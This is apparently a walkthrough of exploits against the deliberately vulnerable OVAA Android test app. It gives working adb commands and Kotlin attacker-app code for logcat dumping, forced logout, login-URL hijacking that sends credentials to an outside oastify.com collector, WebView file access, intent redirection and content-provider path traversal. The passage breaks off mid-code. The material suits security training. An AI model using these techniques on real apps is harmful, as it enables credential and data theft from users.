Recon
$ frida-ps -Uai | grep ovaa
- Oversecured Vulnerable Android App oversecured.ovaa
Exploiting Insecure Logger Service
Android Manifest Entries - InsecureLoggerService
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<service android:name="oversecured.ovaa.services.InsecureLoggerService">
<intent-filter>
<action android:name="oversecured.ovaa.action.DUMP"/>
</intent-filter>
</service>
Source Code - InsecureLoggerService
// oversecured.ovaa.services.InsecureLoggerService
package oversecured.ovaa.services;
import android.app.IntentService;
import android.content.Intent;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
/* loaded from: classes.dex */
public class InsecureLoggerService extends IntentService {
private static final String ACTION_DUMP = "oversecured.ovaa.action.DUMP";
private static final String EXTRA_FILE = "oversecured.ovaa.extra.file";
public InsecureLoggerService() {
super("InsecureLoggerService");
}
@Override // android.app.IntentService
protected void onHandleIntent(Intent intent) {
if (intent != null && ACTION_DUMP.equals(intent.getAction())) {
dumpLogs(getDumpFile(intent));
}
}
private File getDumpFile(Intent intent) {
Object file = intent.getExtras().get(EXTRA_FILE);
if (file instanceof String) {
return new File((String) file);
}
if (file instanceof File) {
return (File) file;
}
throw new IllegalArgumentException();
}
private void dumpLogs(File toFile) {
try {
Process logcatProcess = Runtime.getRuntime().exec("logcat -d");
BufferedReader reader = new BufferedReader(new InputStreamReader(logcatProcess.getInputStream()));
BufferedWriter writer = new BufferedWriter(new FileWriter(toFile));
while (true) {
String line = reader.readLine();
if (line != null) {
writer.append((CharSequence) line).append('\n');
} else {
writer.flush();
writer.close();
reader.close();
return;
}
}
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
Reviewing the source code and the AndroidManifest.xml
, we understand the following.
- The
oversecured.ovaa.services.InsecureLoggerService
has an intent filter which listens for actions of typeoversecured.ovaa.action.DUMP
. - If the action specified in Intent is of type
oversecured.ovaa.action.DUMP
, the service call thedumpLogs(getDumpFile(intent))
function. getDumpFile(intent)
in fact gets the extras passed in the Intent and if any value exist in extras for the keyoversecured.ovaa.extra.file
, the value is returned as aFile
object.- The
dumpLogs(File toFile)
accepts theFile
object and writes the output of commandlogcat -d
to it.
In order to exploit this, we can start the oversecured.ovaa.services.InsecureLoggerService
by passing the appropriate action and extra data as we saw above.
Exploit Using ADB
Running below command will write the output of logcat -d
to the file /mnt/sdcard/Download/logdump.txt
.
The application needs to be running for the service to be active.
$ adb shell am startservice -n oversecured.ovaa/oversecured.ovaa.services.InsecureLoggerService -a oversecured.ovaa.action.DUMP --es "oversecured.ovaa.extra.file" "/mnt/sdcard/Download/logdump.txt"
Starting service: Intent { act=oversecured.ovaa.action.DUMP cmp=oversecured.ovaa/.services.InsecureLoggerService (has extras) }
Checking the Download directory, we can see that the file logdump.txt
is indeed created and contains the output of logcat -d
.
genymotion:/mnt/sdcard/Download # ls -l
total 0
genymotion:/mnt/sdcard/Download # ls -l
total 24
-rw-rw---- 1 root sdcard_rw 17644 2023-02-21 01:11 logdump.txt
genymotion:/mnt/sdcard/Download # head logdump.txt
--------- beginning of main
02-21 00:18:31.966 2306 2306 I versecured.ova: Late-enabling -Xcheck:jni
02-21 00:18:31.998 2306 2306 E versecured.ova: Unknown bits set in runtime_flags: 0x8000
02-21 00:18:31.998 2306 2306 W versecured.ova: Unexpected CPU variant for X86 using defaults: x86
02-21 00:18:32.483 2306 2332 D libEGL : Emulator has host GPU support, qemu.gles is set to 1.
02-21 00:18:32.478 2306 2306 I RenderThread: type=1400 audit(0.0:74): avc: denied { write } for name="property_service" dev="tmpfs" ino=10393 scontext=u:r:untrusted_app_27:s0:c103,c256,c512,c768 tcontext=u:object_r:property_socket:s0 tclass=sock_file permissive=1 app=oversecured.ovaa
02-21 00:18:32.482 2306 2306 I RenderThread: type=1400 audit(0.0:75): avc: denied { connectto } for path="/dev/socket/property_service" scontext=u:r:untrusted_app_27:s0:c103,c256,c512,c768 tcontext=u:r:init:s0 tclass=unix_stream_socket permissive=1 app=oversecured.ovaa
02-21 00:18:32.509 2306 2332 D libEGL : loaded /vendor/lib/egl/libEGL_emulation.so
02-21 00:18:32.552 2306 2332 D libEGL : loaded /vendor/lib/egl/libGLESv1_CM_emulation.so
02-21 00:18:32.571 2306 2332 D libEGL : loaded /vendor/lib/egl/libGLESv2_emulation.so
genymotion:/mnt/sdcard/Download #
Exploit Using Malicious App
package com.example.oversecureovaapwn3r
import android.content.Intent
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
insecureLoggerServiceExploit()
}
private fun insecureLoggerServiceExploit(){
var loggerIntent = Intent()
loggerIntent.setClassName("oversecured.ovaa", "oversecured.ovaa.services.InsecureLoggerService")
loggerIntent.setAction("oversecured.ovaa.action.DUMP")
loggerIntent.putExtra("oversecured.ovaa.extra.file", "/mnt/sdcard/Download/logdump-malicious-app.txt")
startService(loggerIntent)
}
}
Install the malicious app on the same device as the victim/vulnerable app. Launching the malicious app while the vulnerable app is running will dump the logcat -d
output to /mnt/sdcard/Download/logdump-malicious-app.txt
genymotion:/mnt/sdcard/Download # ls -l
total 48
-rw-rw---- 1 root sdcard_rw 17771 2023-02-21 01:20 logdump-malicious-app.txt
-rw-rw---- 1 root sdcard_rw 17644 2023-02-21 01:11 logdump.txt
genymotion:/mnt/sdcard/Download # tail lo
logdump-malicious-app.txt logdump.txt
genymotion:/mnt/sdcard/Download # tail logdump-malicious-app.txt
02-21 00:57:52.995 2956 2988 W : Process pipe failed
02-21 00:57:53.008 2956 2988 W OpenGLRenderer: Failed to choose config with EGL_SWAP_BEHAVIOR_PRESERVED, retrying without...
02-21 00:57:53.019 2956 2988 D EGL_emulation: eglCreateContext: 0xe171a2a0: maj 3 min 1 rcv 4
02-21 00:57:53.039 2956 2988 E : open_verbose:32: Could not open '/dev/goldfish_pipe': No such file or directory
02-21 00:57:53.042 2956 2988 D EGL_emulation: eglMakeCurrent: 0xe171a2a0: ver 3 1 (tinfo 0xe170f840) (first time)
02-21 00:57:53.111 2956 2988 W Gralloc3: mapper 3.x is not supported
02-21 00:57:53.112 2956 2988 D HostConnection: createUnique: call
02-21 00:57:53.112 2956 2988 D HostConnection: HostConnection::get() New Host Connection established 0xe171a4e0, pid 2956, tid 2988
02-21 00:57:53.114 2956 2988 D HostConnection: HostComposition ext ANDROID_EMU_host_composition_v1 ANDROID_EMU_host_composition_v2 ANDROID_EMU_async_unmap_buffer ANDROID_EMU_sync_buffer_data GL_OES_EGL_image_external_essl3 GL_OES_vertex_array_object GL_KHR_texture_compression_astc_ldr ANDROID_EMU_host_side_tracing ANDROID_EMU_async_frame_commands ANDROID_EMU_gles_max_version_3_1
02-21 01:20:13.743 2956 2974 W versecured.ova: Reducing the number of considered missed Gc histogram windows from 134 to 100
genymotion:/mnt/sdcard/Download #
Exploiting Deep Links - DeeplinkActivity
AndroidManifest.xml - DeeplinkActivity
<activity android:name="oversecured.ovaa.activities.DeeplinkActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="oversecured" android:host="ovaa"/>
</intent-filter>
</activity>
Few things to note:
- The
DeeplinkActivity
accepts the actionandroid.intent.action.VIEW
. - The URI scheme should be
oversecured://
- the host should be
ovaa
.
Source Code - DeeplinkActivity
package oversecured.ovaa.activities;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import oversecured.ovaa.utils.LoginUtils;
/* loaded from: classes.dex */
public class DeeplinkActivity extends AppCompatActivity {
private static final int URI_GRANT_CODE = 1003;
private LoginUtils loginUtils;
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
Uri uri;
super.onCreate(savedInstanceState);
this.loginUtils = LoginUtils.getInstance(this);
Intent intent = getIntent();
if (intent != null && "android.intent.action.VIEW".equals(intent.getAction()) && (uri = intent.getData()) != null) {
processDeeplink(uri);
}
finish();
}
private void processDeeplink(Uri uri) {
String url;
String host;
if ("oversecured".equals(uri.getScheme()) && "ovaa".equals(uri.getHost())) {
String path = uri.getPath();
if ("/logout".equals(path)) {
this.loginUtils.logout();
startActivity(new Intent(this, EntranceActivity.class));
} else if ("/login".equals(path)) {
String url2 = uri.getQueryParameter("url");
if (url2 != null) {
this.loginUtils.setLoginUrl(url2);
}
startActivity(new Intent(this, EntranceActivity.class));
} else if ("/grant_uri_permissions".equals(path)) {
Intent i = new Intent("oversecured.ovaa.action.GRANT_PERMISSIONS");
if (getPackageManager().resolveActivity(i, 0) != null) {
startActivityForResult(i, 1003);
}
} else if ("/webview".equals(path) && (url = uri.getQueryParameter("url")) != null && (host = Uri.parse(url).getHost()) != null && host.endsWith("example.com")) {
Intent i2 = new Intent(this, WebViewActivity.class);
i2.putExtra("url", url);
startActivity(i2);
}
}
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, android.app.Activity
public void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (resultCode == -1 && requestCode == 1003) {
setResult(resultCode, data);
}
}
}
When the DeeplinkActivity
is activated, the onCreate
function is invoked and performs the following actions.
- Creates an instance of
LoginUtils
class. - Checks if the
Intent
which activated isnull
. - Checks if the actions specified in the
Intent
isandroid.intent.action.VIEW
. - Checks if URI data is passed as
Intent
extras.
If all of the above checks are satisfied, the processDeeplink(uri)
function is called with the URI from the Intent
extras as the argument.
Analysing processDeeplink(uri) Function
private void processDeeplink(Uri uri) {
String url;
String host;
if ("oversecured".equals(uri.getScheme()) && "ovaa".equals(uri.getHost())) {
String path = uri.getPath();
if ("/logout".equals(path)) {
this.loginUtils.logout();
startActivity(new Intent(this, EntranceActivity.class));
} else if ("/login".equals(path)) {
String url2 = uri.getQueryParameter("url");
if (url2 != null) {
this.loginUtils.setLoginUrl(url2);
}
startActivity(new Intent(this, EntranceActivity.class));
} else if ("/grant_uri_permissions".equals(path)) {
Intent i = new Intent("oversecured.ovaa.action.GRANT_PERMISSIONS");
if (getPackageManager().resolveActivity(i, 0) != null) {
startActivityForResult(i, 1003);
}
} else if ("/webview".equals(path) && (url = uri.getQueryParameter("url")) != null && (host = Uri.parse(url).getHost()) != null && host.endsWith("example.com")) {
Intent i2 = new Intent(this, WebViewActivity.class);
i2.putExtra("url", url);
startActivity(i2);
}
}
}
- The function accepts the URI as the only argument.
- Checks if the URI scheme is
oversecured
and the URI host isovaa
. - The path is extracted from the URI and is procesessed accordingly.
- Four valid URI paths are as follows.
/logout
/login
/grant_uri_permissions
/webview
Let us examine the four different path
’s and vulnerabilities associated with them.
Examining /logout Path - Force User Logout
if ("/logout".equals(path)) {
this.loginUtils.logout();
startActivity(new Intent(this, EntranceActivity.class));
}
- If the path is
/logout
, the application just logs the user out and redirect toEntranceActivity
. - This cannot be called as vulnerability itself. The impact is only that a malicious application can force the current logged in user to logout.
- Moreover, there is no built in logout button in the app.
Using ADB to Force Log Out
adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/logout"
Starting: Intent { act=android.intent.action.VIEW dat=oversecured://ovaa/logout cmp=oversecured.ovaa/.activities.DeeplinkActivity }
Logging into the application.
Any username and passsword are accepted.
Once the adb command is executed, the application logs out redirects to login page.
Using a Malicious Application to Force Logout
package com.example.oversecureovaapwn3r
import android.content.Intent
import android.net.Uri
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
deeplinkActivityForceLogOut()
}
private fun deeplinkActivityForceLogOut(){
var logoutIntent = Intent()
logoutIntent.setClassName("oversecured.ovaa", "oversecured.ovaa.activities.DeeplinkActivity")
logoutIntent.setAction("android.intent.action.VIEW")
logoutIntent.setData(Uri.parse("oversecured://ovaa/logout"))
startActivity(logoutIntent)
}
}
We are logged in to the application.
Opening the malicious application will force the oversecured ovaa application to logout.
Examining /login Path - Credential Theft/Exfiltration by Overwriting Login URL
else if ("/login".equals(path)) {
String url2 = uri.getQueryParameter("url");
if (url2 != null) {
this.loginUtils.setLoginUrl(url2);
}
startActivity(new Intent(this, EntranceActivity.class));
}
- If the URI path is
/login
, query parameter namedurl
is extracted from the URI. - If the value of the extracted query parameter
url
is notnull
, then the functionsetLoginUrl()
is called with theurl
as its argument. - After this is done, the
EntranceActivity
activity is started.
Let us look at the source code for setLoginUrl()
function which is inside oversecured.ovaa.utils.LoginUtils
class.
package oversecured.ovaa.utils;
import android.content.Context;
import android.content.SharedPreferences;
import android.text.TextUtils;
import oversecured.ovaa.R;
import oversecured.ovaa.objects.LoginData;
/* loaded from: classes.dex */
public class LoginUtils {
private static final String EMAIL_KEY = "email";
private static final String LOGIN_URL_KEY = "login_url";
private static final String PASSWORD_KEY = "password";
private static LoginUtils utils;
private Context context;
private SharedPreferences.Editor editor;
private SharedPreferences preferences;
private LoginUtils(Context context) {
this.context = context;
SharedPreferences sharedPreferences = context.getSharedPreferences("login_data", 0);
this.preferences = sharedPreferences;
this.editor = sharedPreferences.edit();
}
public static LoginUtils getInstance(Context context) {
if (utils == null) {
utils = new LoginUtils(context);
}
return utils;
}
public boolean isLoggedIn() {
return !TextUtils.isEmpty(this.preferences.getString("email", null));
}
public void saveCredentials(LoginData loginData) {
this.editor.putString("email", loginData.email).putString(PASSWORD_KEY, loginData.password).commit();
}
public LoginData getLoginData() {
return new LoginData(this.preferences.getString("email", null), this.preferences.getString(PASSWORD_KEY, null));
}
public void setLoginUrl(String url) {
this.editor.putString(LOGIN_URL_KEY, url).commit();
}
public String getLoginUrl() {
String url = this.preferences.getString(LOGIN_URL_KEY, null);
if (TextUtils.isEmpty(url)) {
String url2 = this.context.getString(R.string.login_url);
this.editor.putString(LOGIN_URL_KEY, url2).commit();
return url2;
}
return url;
}
public void logout() {
this.editor.clear().commit();
}
}
- The
setLoginUrl()
function saves theurl
passed as argument to the filelogin_data
in the Shared Preferences under the keylogin_url
.
Let us login to the application and have a look at the login_data
file it creates by default.
genymotion:/data/data/oversecured.ovaa/shared_prefs # ls
login_data.xml
genymotion:/data/data/oversecured.ovaa/shared_prefs # cat login_data.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="login_url">http://example.com./</string>
<string name="password">ElitePass@1337</string>
<string name="email">[email protected]</string>
</map>
genymotion:/data/data/oversecured.ovaa/shared_prefs #
By default, the login_url
is http://example.com
.
Let us exploit the flaw we just found and overwrite the login_url
in the login_data.xml
.
Using ADB to Overwrite Login URL
$ adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/login?url=http://ub3rsick.yfhm0wt2na5cww3kkyt800i7aygp4fs4.oastify.com/creds"
Starting: Intent { act=android.intent.action.VIEW dat=oversecured://ovaa/login?url=http://ub3rsick.yfhm0wt2na5cww3kkyt800i7aygp4fs4.oastify.com/creds cmp=oversecured.ovaa/.activities.DeeplinkActivity }
Inspecting the login_data.xml
file shows that we have successfully overwrote the login_url
.
genymotion:/data/data/oversecured.ovaa/shared_prefs # ls -l
total 8
-rw-rw---- 1 u0_a109 u0_a109 280 2023-02-24 02:15 login_data.xml
genymotion:/data/data/oversecured.ovaa/shared_prefs # cat login_data.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="login_url">http://ub3rsick.yfhm0wt2na5cww3kkyt800i7aygp4fs4.oastify.com/creds</string>
<string name="password">ElitePass@1337</string>
<string name="email">[email protected]</string>
</map>
genymotion:/data/data/oversecured.ovaa/shared_prefs #
How can this be used to exfiltrate login credentials?. To understand this, we should inspect the login functionality implemented in oversecured.ovaa.activities.LoginActivity
.
Analysing LoginActivity
private LoginUtils loginUtils;
public void processLogin(String email, String password) {
LoginData loginData = new LoginData(email, password);
Log.d("ovaa", "Processing " + loginData);
LoginService loginService = (LoginService) RetrofitInstance.getInstance().create(LoginService.class);
loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback<Void>() { // from class: oversecured.ovaa.activities.LoginActivity.2
@Override // retrofit2.Callback
public void onResponse(Call<Void> call, Response<Void> response) {
}
@Override // retrofit2.Callback
public void onFailure(Call<Void> call, Throwable t) {
}
});
this.loginUtils.saveCredentials(loginData);
onLoginFinished();
}
Only relevant parts of the code is taken from the source code of the LoginActivity class.
- The
processLogin
function takes the username and password the call thelogin
function insideLoginService
class withthis.loginUtils.getLoginUrl()
andloginData
as its arguments. - The
this.loginUtils.getLoginUrl()
gets the value of thelogin_url
from thelogin_data.xml
shared preference file andloginData
consist of the email and password.
// oversecured.ovaa.objects.LoginData
public LoginData(String email, String password) {
this.email = email;
this.password = password;
}
- The
loginService.login()
function just posts theloginData
to thelogin_url
which we can control.
// oversecured.ovaa.network.LoginService
public interface LoginService {
@POST
Call<Void> login(@Url String str, @Body LoginData loginData);
}
Exfiltrating Login Credentials
We already overwrote the login_url
to something we have control over. Next time the user logs in, the credentials will be posted to our webhook.
- Force logout the user by exploiting previous vulnerability.
- Overwrite the
login_url
with our web hook. - Wait for user to login to obtain the credentials.
$ adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/logout"
$ adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/login?url=https://v3z6f5t4tjs4yx9vlzg82fz4wv2mqge5.oastify.com/ub3rsick"
login_data.xml
:
genymotion:/data/data/oversecured.ovaa/shared_prefs # cat login_data.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="login_url">https://v3z6f5t4tjs4yx9vlzg82fz4wv2mqge5.oastify.com/ub3rsick</string>
</map>
Simulate user login.
Once the user logs in, we get the credentials.
Examining /webview Path - Accessing Arbitrary Files & Loading Arbitrary URLs in WebView
else if ("/webview".equals(path) && (url = uri.getQueryParameter("url")) != null && (host = Uri.parse(url).getHost()) != null && host.endsWith("example.com")) {
Intent i2 = new Intent(this, WebViewActivity.class);
i2.putExtra("url", url);
startActivity(i2);
}
If the path is /webview
, the following actions are done.
- The query parameter
url
is taken from the URI. - The hostname is extracted from query parameter
url
- If the hostname ends with
example.com
, then anIntent
is created for theWebViewActivity
with theurl
as extra. - Then the
WebViewActivity
is started.
Accessing Arbitrary Files in WebView
The only validation on the url
which is passed as extra to the WebViewActivity
is the hostname verification. This can be bypassed by using the file://
URI scheme.
adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/webview?url=file://example.com/data/data/oversecured.ovaa/shared_prefs/login_data.xml"
$ adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/webview?url=file://example.com/data/data/oversecured.ovaa/shared_prefs/login_data.xml"
Starting: Intent { act=android.intent.action.VIEW dat=oversecured://ovaa/webview?url=file://example.com/data/data/oversecured.ovaa/shared_prefs/login_data.xml cmp=oversecured.ovaa/.activities.DeeplinkActivity }
Loading Arbitrary URLs in WebView
If we are to load arbitrary URLs in the WebView, the hostname of the url
must end with the string example.com
. So, what an attacker can do is register any domain which ends with the string example.com
and specify this URL in the url
extras when exploting the deep link. Some candidates for potential domains are as follows:
*.attacker-example.com
*.somestring_example.com
Below ADB command will load the URL https://www.attacker-example.com/
in the WebView.
adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/webview?url=https://www.attacker-example.com/"
$ adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/webview?url=https://www.attacker-example.com/"
Starting: Intent { act=android.intent.action.VIEW dat=oversecured://ovaa/webview?url=https://www.attacker-example.com/ cmp=oversecured.ovaa/.activities.DeeplinkActivity }
The URL is loaded in the WebView.
As the domain not registered, the application is not able to connect to it. However, we can see that the application attempts to load the URL bypassing the hostname verfication.
Abusing Intent Redirection in LoginActivity
AndroidManifest.xml:
<activity android:name="oversecured.ovaa.activities.LoginActivity">
<intent-filter>
<action android:name="oversecured.ovaa.action.LOGIN"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
Source Code:
public class LoginActivity extends AppCompatActivity {
public static final String INTENT_REDIRECT_KEY = "redirect_intent";
private LoginUtils loginUtils;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_login);
LoginUtils loginUtils = LoginUtils.getInstance(this);
this.loginUtils = loginUtils;
if (loginUtils.isLoggedIn()) {
onLoginFinished();
} else {
// .... code trimmed ....
}
}
// .... code trimmed ....
private void onLoginFinished() {
Intent redirectIntent = (Intent) getIntent().getParcelableExtra(INTENT_REDIRECT_KEY);
if (redirectIntent != null) {
startActivity(redirectIntent);
} else {
startActivity(new Intent(this, MainActivity.class));
}
finish();
}
}
- The
onCreate
function is called when an activity is started. In this caseonCreate
is called whenLoginActivity
is invoked. - Inside
onCreate
function, checks are done to see the user is already logged in by callingloginUtils.isLoggedIn()
. - If the user is logged in, the
onLoginFinished()
function is invoked. - The logic to determine the status of user login is implemented in
oversecured.ovaa.utils.LoginUtils
.
// oversecured.ovaa.utils.LoginUtils
public class LoginUtils {
private static final String EMAIL_KEY = "email";
private static final String LOGIN_URL_KEY = "login_url";
private static final String PASSWORD_KEY = "password";
private static LoginUtils utils;
private Context context;
private SharedPreferences.Editor editor;
private SharedPreferences preferences;
private LoginUtils(Context context) {
this.context = context;
SharedPreferences sharedPreferences = context.getSharedPreferences("login_data", 0);
this.preferences = sharedPreferences;
this.editor = sharedPreferences.edit();
}
// .... code trimmed ....
public boolean isLoggedIn() {
return !TextUtils.isEmpty(this.preferences.getString("email", null));
}
}
- If the value for key
email
is not empty in the shared preference filelogin_data.xml
, then the application decides that the user is already logged in.
Coming back to the LoginActivity
, the function checks if there is an Intent
passed to LoginActivity
for the key redirect_intent
.
private void onLoginFinished() {
Intent redirectIntent = (Intent) getIntent().getParcelableExtra(INTENT_REDIRECT_KEY);
if (redirectIntent != null) {
startActivity(redirectIntent);
} else {
startActivity(new Intent(this, MainActivity.class));
}
finish();
}
- If the
Intent
passed viaINTENT_REDIRECT_KEY
which isredirect_intent
is not empty, then theonLoginFinished()
function attempts to start activity with respect to theIntent
by callingstartActivity(redirectIntent);
.
This can be abused to get access to protected actvities by passing extra Intent to LoginActivity
while the user is already logged in.
Getting Access to Protected WebViewActivity
The WebViewActivity
is not exported.
<activity android:name="oversecured.ovaa.activities.WebViewActivity" android:exported="false">
<intent-filter>
<action android:name="oversecured.ovaa.action.WEBVIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
- However, using a malicious application to exploit intent redirection, we can get access to
WebViewActivity
and load arbitrary URL in it.
Malicious Application Source Code:
package com.example.oversecureovaapwn3r
import android.content.Intent
import android.net.Uri
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
loginActivityIntentRedirect()
}
private fun loginActivityIntentRedirect(){
// create an intent for
var protectedActivityIntent = Intent()
protectedActivityIntent.setClassName("oversecured.ovaa", "oversecured.ovaa.activities.WebViewActivity")
protectedActivityIntent.setAction("oversecured.ovaa.action.WEBVIEW")
protectedActivityIntent.putExtra("url","https://flippingbitz.com/archives/")
var loginActivityIntent = Intent()
loginActivityIntent.setClassName("oversecured.ovaa", "oversecured.ovaa.activities.LoginActivity")
loginActivityIntent.putExtra("redirect_intent", protectedActivityIntent)
startActivity(loginActivityIntent)
}
}
Once the malicious application is installed on the same device as the victim application (user has to be already logged in), opening malicious application will open up the ovaa with https://flippingbitz.com/archives/
loaded in the webview.
Exploiting Unprotected Content Provider
AndroidManifest.xml:
<provider android:name="oversecured.ovaa.providers.TheftOverwriteProvider" android:exported="true" android:authorities="oversecured.ovaa.theftoverwrite"/>
The application registers the content provider oversecured.ovaa.theftoverwrite
and is exported. This means that any application can interact and query the content provider.
- Content provider URI -
content://oversecured.ovaa.theftoverwrite/
Source Code:
// oversecured.ovaa.providers.TheftOverwriteProvider
public class TheftOverwriteProvider extends ContentProvider {
// ... code trimmed ...
@Override // android.content.ContentProvider
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
File file = new File(Environment.getExternalStorageDirectory(), uri.getLastPathSegment());
return ParcelFileDescriptor.open(file, 805306368);
}
}
- When the content provider is queried, the last path segment of the provider URI is extracted using the function
uri.getLastPathSegment()
. - The URI path segment is then used as file name inside
SDCARD
-/mnt/sdcard/
.File(Environment.getExternalStorageDirectory(), uri.getLastPathSegment())
- The file content is then retrieved as response to the provider query.
To test this, let us create a file in the SDCARD as supersecret.txt
with below content.
Some Sensitive Data in SD Card SSN, Credit Card Info, Nuclear Codes etc.
genymotion:/mnt/sdcard # ls -l supersecret.txt
-rw-rw---- 1 root sdcard_rw 73 2023-02-02 00:36 supersecret.txt
genymotion:/mnt/sdcard # cat supersecret.txt
Some Sensitive Data in SD Card SSN, Credit Card Info, Nuclear Codes etc.
genymotion:/mnt/sdcard #
Querying the exported content provider using ADB
$ adb shell content read --uri content://oversecured.ovaa.theftoverwrite/supersecret.txt
Some Sensitive Data in SD Card SSN, Credit Card Info, Nuclear Codes etc.
Reading Arbitrary Files via Path Traversal
The uri.getLastPathSegment()
is vulnerable to path traversal vulnerability in case the path segment is provided as URL encoded.
https://support.google.com/faqs/answer/7496913?hl=en-GB
Implementations of openFile in exported ContentProviders can be vulnerable if they do not properly validate incoming Uri parameters. A malicious app can supply a crafted Uri (for example, one that contains ‘/../') to trick your app into returning a ParcelFileDescriptor for a file outside of the intended directory, thereby allowing the malicious app to access any file accessible to your app.
Caveats: Note that calling getLastPathSegment on the Uri parameter is not safe. A malicious app can supply an encoded Uri path like
%2F..%2F..path%2Fto%2Fsecret.txt
so the result of getLastPathSegment will be/../../path/to/secret.txt
.
Same way we can exploit the content provider in question to read arbitrary files from the file system.
$ adb shell content read --uri "content://oversecured.ovaa.theftoverwrite/..%2F..%2F..%2F..%2Fdata%2Fdata%2Foversecured.ovaa%2Fshared_prefs%2Flogin_data.xml"
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="login_url">https://v3z6f5t4tjs4yx9vlzg82fz4wv2mqge5.oastify.com/ub3rsick</string>
<string name="password">ElitePass@1337</string>
<string name="email">[email protected]</string>
</map>
Querying the exported content provider from malicious app
package com.example.oversecureovaapwn3r
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import java.io.BufferedReader
import java.io.InputStreamReader
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
theftOverwriteProviderExploit()
}
private fun readContentProvider(provider : Uri){
// https://developer.android.com/reference/android/content/ContentResolver#openInputStream(android.net.Uri)
var fileinputStream = contentResolver.openInputStream(provider)
var streamReader = BufferedReader(InputStreamReader(fileinputStream))
var fileContent = streamReader.readText()
var msg = Toast.makeText(applicationContext, fileContent, Toast.LENGTH_LONG)
msg.show()
}
private fun theftOverwriteProviderExploit(){
var provider = Uri.parse("content://oversecured.ovaa.theftoverwrite/supersecret.txt")
readContentProvider(provider)
provider = Uri.parse("content://oversecured.ovaa.theftoverwrite/..%2F..%2F..%2F..%2Fdata%2Fdata%2Foversecured.ovaa%2Fshared_prefs%2Flogin_data.xml")
readContentProvider(provider)
}
}
Arbitrary Code Execution via Third-Party Apps / DEX Files
Android Manifest Entry:
<application
android:name=".OversecuredApplication"
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
Source Code oversecured.ovaa.OversecuredApplication
package oversecured.ovaa;
import android.app.Application;
import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.widget.Toast;
import java.io.File;
import java.io.IOException;
import dalvik.system.DexClassLoader;
import dalvik.system.DexFile;
public class OversecuredApplication extends Application {
@Override
public void onCreate() {
super.onCreate();
updateChecker();
invokePlugins();
}
private void invokePlugins() {
for(PackageInfo info : getPackageManager().getInstalledPackages(PackageManager.GET_META_DATA)) {
String packageName = info.packageName;
Bundle meta = info.applicationInfo.metaData;
if(packageName.startsWith("oversecured.plugin.")
&& meta.getInt("version", -1) >= 10) {
try {
Context packageContext = createPackageContext(packageName,
CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY);
packageContext.getClassLoader()
.loadClass("oversecured.plugin.Loader")
.getMethod("loadMetadata", Context.class)
.invoke(null, this);
}
catch (Exception e) {
throw new RuntimeException(e);
}
}
}
}
private void updateChecker() {
try {
File file = new File("/sdcard/updater.apk");
if (file.exists() && file.isFile() && file.length() <= 1000) {
